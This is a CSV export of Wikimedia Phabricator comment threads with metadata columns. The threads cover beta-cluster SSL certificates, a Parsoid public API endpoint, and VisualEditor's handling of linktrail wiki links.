+227058,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Alex: turning ssl certificate verification off when doing automated testing is reasonably common because lots of folks don't run with valid certs and don't have a good infrastructure for distributing their self signed certs.  That isn't to say it is a good practice, just a common one.",,,1376416702,,PHID-USER-2rnfxoezl66afpa7w7in,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+227052,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Upping priority (a tiny bit) as we really need the beta cluster (hosted on labs) to be as similar to production as possible for automated testing. This is needed for that (specifically for SUL2, kinnnnnda important ;) ).",,,1376408675,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,6,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+227046,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"All browsers should force you to navigate that warning, unless you've somehow changed their configuration to somehow completely break that security feature.",,,1375118567,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,4,,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+227038,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"in the configurations we're using, other browsers don't require an automated test to negotiate a warning screen, see the screen shot on Bug 52121",,,1375112625,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+227029,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,The other browsers don't like it either. Why is IE so special to you?,,,1375112429,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+227021,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,We need beta labs to work for IE in default configurations for test purposes. See Bug 52121,,,1375110403,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+227015,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,*** Bug 52121 has been marked as a duplicate of this bug. ***,,,1374916134,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+227010,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Did not block the creation of a login wiki bug 51622
+
+But it does prevents us from using SUL2 on beta which is bug 51580",,,1374694229,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+227004,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Moving out from RT to ""Labs"" > ""Infrastructure"", per Ryan :)",,,1369121097,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1
+226998,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,RT #5184,,,1369038519,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+226992,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Mailled labs-l to find out who can generate the cert. http://lists.wikimedia.org/pipermail/labs-l/2013-May/001212.html,,,1368605321,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+50483,Expose a parsoid public web API end point in the MediaWiki API,"We need a public API end point integrating with the general MediaWiki API that provides at least the following functionality:
+
+* HTML DOM retrieval per page and revision. Basically the /en/Foo?oldid=<n> end point.
+* HTML DOM expansion: POST a DOM (or fragment), return re-expanded DOM
+* HTML DOM saving: POST a modified DOM and a summary, and save it as a new revision.
+
+As long as we are using Wikitext as our storage format, saving requires a conversion to HTML and a separate save step. The individual steps should *internally* be exposed to other users including the VisualEditor extension. There is probably no need to expose the HTML2WT conversion. We should instead aim to provide an HTML-only public interface.
+
+The integration should use an URL schema that makes it easy to map some or all of the functionality to a stand-alone (non-PHP) backend to avoid PHP startup costs in the future.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1368578460,1426214472.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-TASK-lpywcmlyfhgff4artepd,task_description,resolved,True,c1,1,True,True,False,-7,,1,0,0,1,0,1,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,1,1,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+425993,Expose a parsoid public web API end point in the MediaWiki API,"@anomie Seems like it was mis-tagged, sorry about that. Will remove the project.",,,1426257850,,PHID-USER-hxwwywcyzpooynxuo7a2,False,,,PHID-TASK-lpywcmlyfhgff4artepd,task_subcomment,,True,c1,3,False,,,88,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0
+425990,Expose a parsoid public web API end point in the MediaWiki API,So this was in #MediaWiki-API but didn't actually have anything to do with that project?,,,1426257574,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-lpywcmlyfhgff4artepd,task_subcomment,,True,c1,3,False,,,88,,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+425788,Expose a parsoid public web API end point in the MediaWiki API,Now resolved with https://rest.wikimedia.org/ entering beta production.,,,1426214472,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-lpywcmlyfhgff4artepd,task_subcomment,,True,c1,3,True,,,88,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+226030,Expose a parsoid public web API end point in the MediaWiki API,"Lowering the priority as this is now live:
+
+http://parsoid-lb.eqiad.wikimedia.org/
+https://parsoid-prod.wmflabs.org/  (also supports spdy)",,,1386109005,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-lpywcmlyfhgff4artepd,task_subcomment,,True,c1,3,True,,,22,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0
+226024,Expose a parsoid public web API end point in the MediaWiki API,Once https://gerrit.wikimedia.org/r/#/c/93527/ is merged we'll provide interim access to our internal Parsoid cluster through front-end caches at http://parsoidcache.svc.eqiad.wikimedia.org/. This implements our internal https://www.mediawiki.org/wiki/Parsoid#The_Parsoid_web_API. In the longer term it will be replaced with a more general MediaWiki content API that we are still working on.,,,1384293539,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-lpywcmlyfhgff4artepd,task_subcomment,,True,c1,3,True,,,19,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0
+226018,Expose a parsoid public web API end point in the MediaWiki API,"The PHP parser output is exposed through action=parse:
+
+http://en.wikipedia.org/w/api.php?action=parse&redirects&prop=text%7Cdisplaytitle&format=xml&page=FOOBAR",,,1378248026,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-lpywcmlyfhgff4artepd,task_subcomment,,True,c1,3,True,,,9,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+226012,Expose a parsoid public web API end point in the MediaWiki API,Marco and I are taking this on.,,,1377273791,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-lpywcmlyfhgff4artepd,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+226004,Expose a parsoid public web API end point in the MediaWiki API,Bumped the prority. We should get to this after Wikimania.,,,1375927194,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-lpywcmlyfhgff4artepd,task_subcomment,,True,c1,3,True,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+225996,Expose a parsoid public web API end point in the MediaWiki API,Building prod. tools based on Parsoid output (for example to produce offline snasphots) needs this MW API. http://parsoid.wmflabs.org/ can only be a temporary solution...,,,1373488881,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-lpywcmlyfhgff4artepd,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+225991,Expose a parsoid public web API end point in the MediaWiki API,"(In reply to comment #0)
+> * HTML DOM saving: POST a modified DOM and a summary, and save it as a new
+> revision.
+
+Just to clarify, we don't need this for June/July (we're doing it in VisualEditor currently) - though it's a nice-to-have. :-)
+
+The real focus for us is the HTML DOM expansion, which we will want ASAP for templates and other generated content blocks.",,,1368669141,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lpywcmlyfhgff4artepd,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+50463,Parsoid: Links created with VE are piped links even when linktrail could be used,"Currently the VisualEditor linkes like this: [[Glas|Glases]]
+The German-language Wikipedia prefers this though: [[Glas]]es
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51438
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49940
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52240",Medium,50.0,1368551520,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,False,PHID-TASK-arvnl4rgkbslvicqgsmj,task_description,open,True,c1,1,True,False,,-7,,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+1072489,Parsoid: Links created with VE are piped links even when linktrail could be used,">>! In T50463#4223170, @Bencemac wrote:
+> @Cirdan I mean it should fix the [[ https://tools.wmflabs.org/checkwiki/cgi-bin/checkwiki.cgi?project=enwiki&view=only&id=64 | existing ones ]]. So if somebody edit an article with `[[text|text]]`, the software would fix that (like AWB does). It could slowly but surely solve the problem.
+
+As @Cirdan says, Parsoid and the visual editor try very hard to avoid changing wikitext that already exists in the article. Different wikis have different conventions, and the most reliable way to respect those conventions is to avoid digging into bits of wikitext that don't relate directly to what the user has done.
+
+The visual editor is not intended to be a general purpose wikitext cleanup tool. As you suggest, AWB is good for that.",,,1527075466,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,True,,,255,,0,1,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,1,1
+1072281,Parsoid: Links created with VE are piped links even when linktrail could be used,"I'm not a VE developer, but from what I learned from reporting Parsoid bugs, the VE/Parsoid try very hard to //not// alter existing wikitext. This is where quite a few of the copy & paste bugs come from.
+
+I believe syntax cleaning should be done by bots which are controlled by the local community, not through VE.",,,1527054738,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,255,,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+1072024,Parsoid: Links created with VE are piped links even when linktrail could be used,"@Cirdan I mean it should fix the [[ https://tools.wmflabs.org/checkwiki/cgi-bin/checkwiki.cgi?project=enwiki&view=only&id=64 | existing ones ]]. So if somebody edit an article with `[[text|text]]`, the software would fix that (like AWB does). It could slowly but surely solve the problem.",,,1527015724,,PHID-USER-qdbrv6swdxlgemqwwbuw,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,255,,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,0,1
+1072021,Parsoid: Links created with VE are piped links even when linktrail could be used,">>! In T50463#4223073, @Bencemac wrote:
+> @Esanders I think the idea (Visual Editor should fix automatically `[[text|text]]`) could be a goal and it would have an own task. This task is related, but it is not exactly what I suggested.
+
+The problem with `[[text|text]]` was resolved in {T153107}. If it has re-appeared, that task should be re-opened. From what you wrote in [[T195215#4220491]], the problem is link trail detection/generation, which is what this task is about.",,,1527015152,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,255,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,1
+1072013,Parsoid: Links created with VE are piped links even when linktrail could be used,"@Esanders I think the idea (Visual Editor should fix automatically `[[text|text]]`) could be a goal and it would have an own task. This task is related, but it is not exactly what I suggested.",,,1527013628,,PHID-USER-qdbrv6swdxlgemqwwbuw,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,255,,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,1,0,0,0,0,1
+1002145,Parsoid: Links created with VE are piped links even when linktrail could be used,"There are several similar reports.
+
+One thing is shortening the overall link to make it easier to spot and read in wikitext, it is less cluttered, and that is a good reason to enforce use of linktrail.
+
+Use of linktrail can also be troublesome. Assume a link using one inflected word, where the inflection goes in the linktrail. Then the links are changed to another page title, but that page title has another inflection. To detect this and change it accordingly with the current bot frameworks are pretty difficult.
+
+In English plural of `book` is `books`, but in Norwegian this is `bok`and `bøker`. 
+
+Note that use of linktrail is an indication of a deeper problem. It should be possible for the writer to inflect the links themselves. That is instead of [[book]]s they should be able to write [[books]].
+
+The page titles are usually of a normalized form, and rewriting a link into this normalized form is pretty strightforward. In some cases there are alternate normalized forms, but as long as all of them identify the same page there should be no real problem. Only if different inflections targets different pages would there be a problem.",,,1517057368,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,238,,1,0,0,1,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+1002144,Parsoid: Links created with VE are piped links even when linktrail could be used,"There are several similar reports.
+
+One thing is shortening the overall link to make it easier to spot and read in wikitext, it is less cluttered, and that is a good reason to enforce use of linktrail.
+
+Use of linktrail can also be troublesome. Assume a link using one inflected word, where the inflection goes in the linktrail. Then the links are changed to another page title, but that page title has another inflection. To detect this and change it accordingly with the current bot frameworks are pretty difficult.
+
+Note that use of linktrail is an indication of a deeper problem. It should be possible for the writer to inflect the links themselves. The page titles are usually of a normalized form, and rewriting a link into this normalized form is pretty strightforward. In some cases there are alternate normalized forms, but as long as all of them identify the same page tere should be no real problem. Only if different inflections targets different pages would there be a problem.",,,1517056634,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,238,,1,0,0,1,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0
+1002143,Parsoid: Links created with VE are piped links even when linktrail could be used,"There are several similar reports.
+
+One thing is shortening the overall link to make it easier to spot and read in wikitext, it is less cluttered, and that is a good reason to enforce use of linktrail.
+
+Note that use of linktrail is an indication of a deeper problem. It should be possible for the writer to inflect the links themselves. The page titles are usually of a normalized form, and rewriting a link into this normalized form is pretty strightforward. In some cases there are alternate normalized forms, but as long as all of them identify the same page tere should be no real problem. Only if different inflections targets different pages would there be a problem.",,,1517055772,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,238,,1,0,0,0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,1,1,1,0,0
+1002142,Parsoid: Links created with VE are piped links even when linktrail could be used,"There are several similar reports,.
+
+One thing is shortening the overall link to make it easier to spot and read in wikitext, it is less cluttered, and that is a good reason to enforce use of linktrail.
+
+Note that use of linktrail is an indication of a deeper problem. It should be possible for the writer to inflect the links themselves. The page titles are usually of a normalized form, and rewriting a link into this normalized form is pretty strightforward. In some cases there are alternate normalized forms, but as long as all of them identify the same page tere should be no real problem. Only if different inflections targets different pages would there be a problem.",,,1517055748,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,238,,1,0,0,0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,1,1,1,0,0
+1002135,Parsoid: Links created with VE are piped links even when linktrail could be used,"Since there was another [[ https://de.wikipedia.org/w/index.php?diff=173370165&oldid=173263938&title=Wikipedia:Technik/Text/Edit/VisualEditor/R%C3%BCckmeldungen | complaint]] on the de-wp VE feedback page, I'm reviving this bug report. [[ https://de.wikipedia.org/w/index.php?diff=173369735&oldid=159649392 | Here ]] the previously correctly formatted link 
+```
+[[Baudenkmal]]e
+```
+was converted to
+```
+[[Baudenkmal|Baudenkmale]]
+```
+
+Is there any hope that this problem will be fixed soon? If that's not possible, a brief explanation of why it is difficult (which we can relay to our community when this question comes up) would be helpful.",,,1517047661,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,238,,1,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+1002134,Parsoid: Links created with VE are piped links even when linktrail could be used,"Since there was another [[ https://de.wikipedia.org/w/index.php?diff=173370165&oldid=173263938&title=Wikipedia:Technik/Text/Edit/VisualEditor/R%C3%BCckmeldungen | complaint]] on the de-wp VE feedback page, I'm reviving this bug report. [[ https://de.wikipedia.org/w/index.php?diff=173369735&oldid=159649392 | Here ]] the previously correctly formatted link 
+```
+[[Baudenkmal]]e
+```
+was converted to
+```
+[[Baudenkmal|Baudenkmale]]
+```
+
+Is there any hope that this problem will be fixed soon?",,,1517047576,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,238,,1,0,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1
+777898,Parsoid: Links created with VE are piped links even when linktrail could be used,">>! In T50463#2874249, @Cirdan wrote:
+> Thanks for the clarification. This specific case of this bug understandably decreases acceptance of the VisualEditor on de-wp, whereas the general problem regarding trailing characters is generally seen as acceptable. I asked several complaining users to provide more diffs of this specific case which I will add here.
+
+Let us unmerge T153107, retitle it, and add diffs there. [[Foo|Foo]] shouldn't be happening and is either a regression or a corner case in the HTML or something else going on that we have some missed all this while.",,,1481751088,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,True,,,180,,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,1
